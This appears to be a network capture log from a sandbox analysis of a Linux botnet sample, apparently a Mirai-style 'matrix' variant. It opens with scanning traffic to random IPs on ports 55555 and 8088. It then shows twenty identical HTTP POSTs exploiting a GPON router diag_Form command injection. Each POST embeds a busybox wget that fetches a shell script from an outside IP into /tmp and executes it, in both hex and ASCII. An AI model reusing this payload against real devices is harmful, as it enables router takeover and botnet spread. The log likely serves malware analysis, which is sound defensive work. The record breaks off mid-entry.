Mar 21, 2024 05:25:10.947578907 CET	5064	55555	192.168.2.23	184.30.54.135
Mar 21, 2024 05:25:10.947578907 CET	5064	55555	192.168.2.23	98.185.66.73
Mar 21, 2024 05:25:10.947597980 CET	5064	55555	192.168.2.23	184.237.197.28
Mar 21, 2024 05:25:10.947597980 CET	5832	8088	192.168.2.23	196.101.182.225
Mar 21, 2024 05:25:10.947597980 CET	5064	55555	192.168.2.23	172.217.87.6
Mar 21, 2024 05:25:10.947598934 CET	5064	55555	192.168.2.23	184.107.21.90
Mar 21, 2024 05:25:10.947598934 CET	5064	55555	192.168.2.23	98.103.109.231
Mar 21, 2024 05:25:10.947598934 CET	5832	8088	192.168.2.23	147.162.71.50
Mar 21, 2024 05:25:10.947599888 CET	5064	55555	192.168.2.23	172.172.23.175
Mar 21, 2024 05:25:10.947599888 CET	5064	55555	192.168.2.23	172.220.96.112
Mar 21, 2024 05:25:10.947601080 CET	5064	55555	192.168.2.23	172.39.55.122
Mar 21, 2024 05:25:10.947603941 CET	5064	55555	192.168.2.23	184.116.205.174
Mar 21, 2024 05:25:10.947603941 CET	5832	8088	192.168.2.23	111.68.54.152
Mar 21, 2024 05:25:10.947609901 CET	5064	55555	192.168.2.23	172.203.230.109
Mar 21, 2024 05:25:10.947612047 CET	5832	8088	192.168.2.23	109.182.16.17
Mar 21, 2024 05:25:10.947612047 CET	5064	55555	192.168.2.23	172.69.233.253
Mar 21, 2024 05:25:10.947612047 CET	5832	8088	192.168.2.23	145.75.118.44
Mar 21, 2024 05:25:10.947613955 CET	5832	8088	192.168.2.23	1.238.178.77
Mar 21, 2024 05:25:10.947612047 CET	5064	55555	192.168.2.23	98.129.199.40
Mar 21, 2024 05:25:10.947616100 CET	5064	55555	192.168.2.23	184.219.238.198
Mar 21, 2024 05:25:10.947612047 CET	5832	8088	192.168.2.23	142.208.137.116
Mar 21, 2024 05:25:10.947616100 CET	5064	55555	192.168.2.23	184.8.9.213
Mar 21, 2024 05:25:10.947612047 CET	5064	55555	192.168.2.23	184.72.15.240
Mar 21, 2024 05:25:10.947614908 CET	5064	55555	192.168.2.23	172.17.58.219
Mar 21, 2024 05:25:10.947621107 CET	5064	55555	192.168.2.23	172.236.136.51
Mar 21, 2024 05:25:10.947621107 CET	5064	55555	192.168.2.23	184.102.149.26
Mar 21, 2024 05:25:10.947623014 CET	5064	55555	192.168.2.23	172.32.41.252
Mar 21, 2024 05:25:10.947623014 CET	5832	8088	192.168.2.23	122.127.73.203
Mar 21, 2024 05:25:10.947627068 CET	5064	55555	192.168.2.23	172.58.170.86
Mar 21, 2024 05:25:10.947638035 CET	5064	55555	192.168.2.23	172.236.44.141
Mar 21, 2024 05:25:10.947640896 CET	5064	55555	192.168.2.23	172.40.7.205
Mar 21, 2024 05:25:10.947640896 CET	5832	8088	192.168.2.23	209.41.181.189
Mar 21, 2024 05:25:10.947640896 CET	5064	55555	192.168.2.23	172.26.71.156
Mar 21, 2024 05:25:10.947643042 CET	5064	55555	192.168.2.23	184.203.142.97
Mar 21, 2024 05:25:10.947649002 CET	5064	55555	192.168.2.23	172.169.181.63
Mar 21, 2024 05:25:10.947649002 CET	5064	55555	192.168.2.23	172.102.223.58
Mar 21, 2024 05:25:10.947653055 CET	5832	8088	192.168.2.23	74.114.155.87
Mar 21, 2024 05:25:10.947653055 CET	5832	8088	192.168.2.23	74.31.137.24
Mar 21, 2024 05:25:10.947653055 CET	5064	55555	192.168.2.23	172.250.8.171
Mar 21, 2024 05:25:10.947654963 CET	5064	55555	192.168.2.23	98.90.231.37
Mar 21, 2024 05:25:10.947665930 CET	5064	55555	192.168.2.23	98.95.60.127
Mar 21, 2024 05:25:10.947666883 CET	5832	8088	192.168.2.23	45.39.144.253
Mar 21, 2024 05:25:10.947669983 CET	5064	55555	192.168.2.23	184.21.10.100
Mar 21, 2024 05:25:10.947669983 CET	5832	8088	192.168.2.23	75.230.117.5
Mar 21, 2024 05:25:10.947675943 CET	5064	55555	192.168.2.23	184.130.35.150
Mar 21, 2024 05:25:10.947675943 CET	5832	8088	192.168.2.23	217.254.146.80
Mar 21, 2024 05:25:10.947675943 CET	5064	55555	192.168.2.23	184.194.202.102
Mar 21, 2024 05:25:10.947675943 CET	5832	8088	192.168.2.23	112.225.51.66
Mar 21, 2024 05:25:10.947684050 CET	5064	55555	192.168.2.23	172.215.135.196
Mar 21, 2024 05:25:10.947686911 CET	5064	55555	192.168.2.23	184.44.185.98
Mar 21, 2024 05:25:10.947686911 CET	5064	55555	192.168.2.23	98.0.105.232
Mar 21, 2024 05:25:10.947691917 CET	5064	55555	192.168.2.23	172.198.147.93
Mar 21, 2024 05:25:10.947691917 CET	5064	55555	192.168.2.23	184.248.164.205
Mar 21, 2024 05:25:10.947691917 CET	5832	8088	192.168.2.23	185.110.1.160
Mar 21, 2024 05:25:10.947691917 CET	5064	55555	192.168.2.23	184.21.9.107
Mar 21, 2024 05:25:10.947700024 CET	5064	55555	192.168.2.23	98.29.39.15
Mar 21, 2024 05:25:10.947700024 CET	5064	55555	192.168.2.23	172.155.241.58
Mar 21, 2024 05:25:10.947700977 CET	5832	8088	192.168.2.23	172.47.90.150

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	48930	178.207.79.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959450960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	47622	42.75.25.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959465981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	37624	79.60.227.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959496021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	39014	109.179.252.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959538937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	44610	79.62.132.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959543943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	39784	2.223.15.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959548950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	46986	42.192.116.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959573984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	35256	42.134.221.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959604025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	45920	210.31.89.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959630013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	48412	5.220.45.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959656000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	57728	79.79.194.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959675074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	39230	118.118.114.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959680080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	57332	79.190.119.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959711075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	33270	79.133.142.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959736109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	48150	5.194.161.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959757090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	55326	79.193.220.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959778070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	53280	94.242.208.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959815025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	60622	178.158.17.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959840059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	46120	94.205.73.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959856033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	47982	37.35.138.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.959882975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
